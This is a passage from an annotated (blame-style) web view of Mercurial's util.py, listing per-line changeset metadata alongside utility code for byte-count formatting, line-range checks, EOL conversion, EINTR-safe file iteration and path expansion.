wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37044
diff
changeset
|
2713 return len(res) |
8c3c47362934
wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37044
diff
changeset
|
2714 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2715 |
18735
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2716 def unitcountfn(*unittable): |
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2717 '''return a function that renders a readable count of some quantity''' |
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2718 |
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2719 def go(count): |
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2720 for multiplier, divisor, format in unittable: |
31946
f3b80537a70d
util: fix human-readable printing of negative byte counts
Gábor Stefanik <gabor.stefanik@nng.com>
parents:
31934
diff
changeset
|
2721 if abs(count) >= divisor * multiplier: |
18735
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2722 return format % (count / float(divisor)) |
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2723 return unittable[-1][2] % count |
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2724 |
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2725 return go |
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2726 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2727 |
31662
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2728 def processlinerange(fromline, toline): |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2729 """Check that linerange <fromline>:<toline> makes sense and return a |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2730 0-based range. |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2731 |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2732 >>> processlinerange(10, 20) |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2733 (9, 20) |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2734 >>> processlinerange(2, 1) |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2735 Traceback (most recent call last): |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2736 ... |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2737 ParseError: line range must be positive |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2738 >>> processlinerange(0, 5) |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2739 Traceback (most recent call last): |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2740 ... |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2741 ParseError: fromline must be strictly positive |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2742 """ |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2743 if toline - fromline < 0: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2744 raise error.ParseError(_(b"line range must be positive")) |
31662
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2745 if fromline < 1: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2746 raise error.ParseError(_(b"fromline must be strictly positive")) |
31662
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2747 return fromline - 1, toline |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2748 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2749 |
18735
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2750 bytecount = unitcountfn( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2751 (100, 1 << 30, _(b'%.0f GB')), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2752 (10, 1 << 30, _(b'%.1f GB')), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2753 (1, 1 << 30, _(b'%.2f GB')), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2754 (100, 1 << 20, _(b'%.0f MB')), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2755 (10, 1 << 20, _(b'%.1f MB')), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2756 (1, 1 << 20, _(b'%.2f MB')), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2757 (100, 1 << 10, _(b'%.0f KB')), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2758 (10, 1 << 10, _(b'%.1f KB')), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2759 (1, 1 << 10, _(b'%.2f KB')), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2760 (1, 1, _(b'%.0f bytes')), |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2761 ) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2762 |
16397
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2763 |
36837
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2764 class transformingwriter(object): |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2765 """Writable file wrapper to transform data by function""" |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2766 |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2767 def __init__(self, fp, encode): |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2768 self._fp = fp |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2769 self._encode = encode |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2770 |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2771 def close(self): |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2772 self._fp.close() |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2773 |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2774 def flush(self): |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2775 self._fp.flush() |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2776 |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2777 def write(self, data): |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2778 return self._fp.write(self._encode(data)) |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2779 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2780 |
31776
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2781 # Matches a single EOL which can either be a CRLF where repeated CR |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2782 # are removed or a LF. We do not care about old Macintosh files, so a |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2783 # stray CR is an error. |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2784 _eolre = remod.compile(br'\r*\n') |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2785 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2786 |
31776
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2787 def tolf(s): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2788 return _eolre.sub(b'\n', s) |
31776
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2789 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2790 |
31776
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2791 def tocrlf(s): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2792 return _eolre.sub(b'\r\n', s) |
31776
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2793 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2794 |
36837
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2795 def _crlfwriter(fp): |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2796 return transformingwriter(fp, tocrlf) |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2797 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2798 |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2799 if pycompat.oslinesep == b'\r\n': |
31777
6a5b69b0abec
util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents:
31776
diff
changeset
|
2800 tonativeeol = tocrlf |
6a5b69b0abec
util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents:
31776
diff
changeset
|
2801 fromnativeeol = tolf |
36837
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2802 nativeeolwriter = _crlfwriter |
31777
6a5b69b0abec
util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents:
31776
diff
changeset
|
2803 else: |
6a5b69b0abec
util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents:
31776
diff
changeset
|
2804 tonativeeol = pycompat.identity |
6a5b69b0abec
util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents:
31776
diff
changeset
|
2805 fromnativeeol = pycompat.identity |
36837
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2806 nativeeolwriter = pycompat.identity |
31777
6a5b69b0abec
util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents:
31776
diff
changeset
|
2807 |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2808 if pyplatform.python_implementation() == b'CPython' and sys.version_info < ( |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2809 3, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2810 0, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2811 ): |
30418
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2812 # There is an issue in CPython that some IO methods do not handle EINTR |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2813 # correctly. The following table shows what CPython version (and functions) |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2814 # are affected (buggy: has the EINTR bug, okay: otherwise): |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2815 # |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2816 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0 |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2817 # -------------------------------------------------- |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2818 # fp.__iter__ | buggy | buggy | okay |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2819 # fp.read* | buggy | okay [1] | okay |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2820 # |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2821 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2822 # |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2823 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2824 # like "read*" are ignored for now, as Python < 2.7.4 is a minority. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2825 # |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2826 # Although we can workaround the EINTR issue for fp.__iter__, it is slower: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2827 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2828 # CPython 2, because CPython 2 maintains an internal readahead buffer for |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2829 # fp.__iter__ but not other fp.read* methods. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2830 # |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2831 # On modern systems like Linux, the "read" syscall cannot be interrupted |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2832 # when reading "fast" files like on-disk files. So the EINTR issue only |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2833 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG) |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2834 # files approximately as "fast" files and use the fast (unsafe) code path, |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2835 # to minimize the performance impact. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2836 if sys.version_info >= (2, 7, 4): |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2837 # fp.readline deals with EINTR correctly, use it as a workaround. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2838 def _safeiterfile(fp): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2839 return iter(fp.readline, b'') |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2840 |
30418
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2841 else: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2842 # fp.read* are broken too, manually deal with EINTR in a stupid way. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2843 # note: this may block longer than necessary because of bufsize. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2844 def _safeiterfile(fp, bufsize=4096): |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2845 fd = fp.fileno() |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2846 line = b'' |
30418
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2847 while True: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2848 try: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2849 buf = os.read(fd, bufsize) |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2850 except OSError as ex: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2851 # os.read only raises EINTR before any data is read |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2852 if ex.errno == errno.EINTR: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2853 continue |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2854 else: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2855 raise |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2856 line += buf |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2857 if b'\n' in buf: |
30418
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2858 splitted = line.splitlines(True) |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2859 line = b'' |
30418
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2860 for l in splitted: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2861 if l[-1] == b'\n': |
30418
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2862 yield l |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2863 else: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2864 line = l |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2865 if not buf: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2866 break |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2867 if line: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2868 yield line |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2869 |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2870 def iterfile(fp): |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2871 fastpath = True |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2872 if type(fp) is file: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2873 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode) |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2874 if fastpath: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2875 return fp |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2876 else: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2877 return _safeiterfile(fp) |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2878 |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2879 |
30418
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2880 else: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2881 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2882 def iterfile(fp): |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2883 return fp |
30395
10514a92860e
util: add iterfile to workaround a fileobj.__iter__ issue with EINTR
Jun Wu <quark@fb.com>
parents:
30359
diff
changeset
|
2884 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2885 |
7879
5c4026a289a4
templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents:
7875
diff
changeset
|
2886 def iterlines(iterator): |
5c4026a289a4
templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents:
7875
diff
changeset
|
2887 for chunk in iterator: |
5c4026a289a4
templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents:
7875
diff
changeset
|
2888 for line in chunk.splitlines(): |
5c4026a289a4
templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents:
7875
diff
changeset
|
2889 yield line |
9610
d78fe60f6bda
make path expanding more consistent
Alexander Solovyov <piranha@piranha.org.ua>
parents:
9569
diff
changeset
|
2890 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2891 |
9610
d78fe60f6bda
make path expanding more consistent
Alexander Solovyov <piranha@piranha.org.ua>
parents:
9569
diff
changeset
|
2892 def expandpath(path): |
d78fe60f6bda
make path expanding more consistent
Alexander Solovyov <piranha@piranha.org.ua>
parents:
9569
diff
changeset
|
2893 return os.path.expanduser(os.path.expandvars(path)) |
10239
8e4be44a676f
Find right hg command for detached process
Patrick Mezard <pmezard@gmail.com>
parents:
10199
diff
changeset
|
2894 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2895 |
13392
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2896 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False): |
11988
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2897 """Return the result of interpolating items in the mapping into string s. |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2898 |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2899 prefix is a single character string, or a two character string with |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2900 a backslash as the first character if the prefix needs to be escaped in |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2901 a regular expression. |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2902 |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
